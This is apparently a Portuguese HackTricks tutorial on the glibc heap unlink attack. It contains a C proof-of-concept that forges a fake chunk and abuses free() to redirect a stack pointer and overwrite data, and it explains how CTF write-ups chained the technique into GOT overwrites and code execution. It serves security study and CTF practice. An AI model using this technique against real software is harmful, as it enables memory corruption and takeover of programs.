# Unlink Attack {{#include ../../banners/hacktricks-training.md}} ## Informações Básicas Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas **verificações foram adicionadas**, tornando a nova versão do ataque mais interessante, mais complexa e **inútil**. ### Exemplo de Código:
Código ```c #include #include #include #include // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding }; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; } ```
- O ataque não funciona se tcaches forem usados (após 2.26) ### Objetivo Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior. - Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário. - Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\ Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT). ### Requisitos - Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos. - Vazamento da pilha para definir os ponteiros do chunk falso. ### Ataque - Existem alguns chunks (chunk1 e chunk2) - O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2. - No chunk1, o atacante cria a estrutura de um chunk falso: - Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating` - e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

- Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido. - Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo: - `fake_chunk->fd->bk` = `fake_chunk->bk` - `fake_chunk->bk->fd` = `fake_chunk->fd` - Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**. - Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**. - Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar. - Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

## Referências - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) - Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado: - Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE. - Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget. - Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar. {{#include ../../banners/hacktricks-training.md}}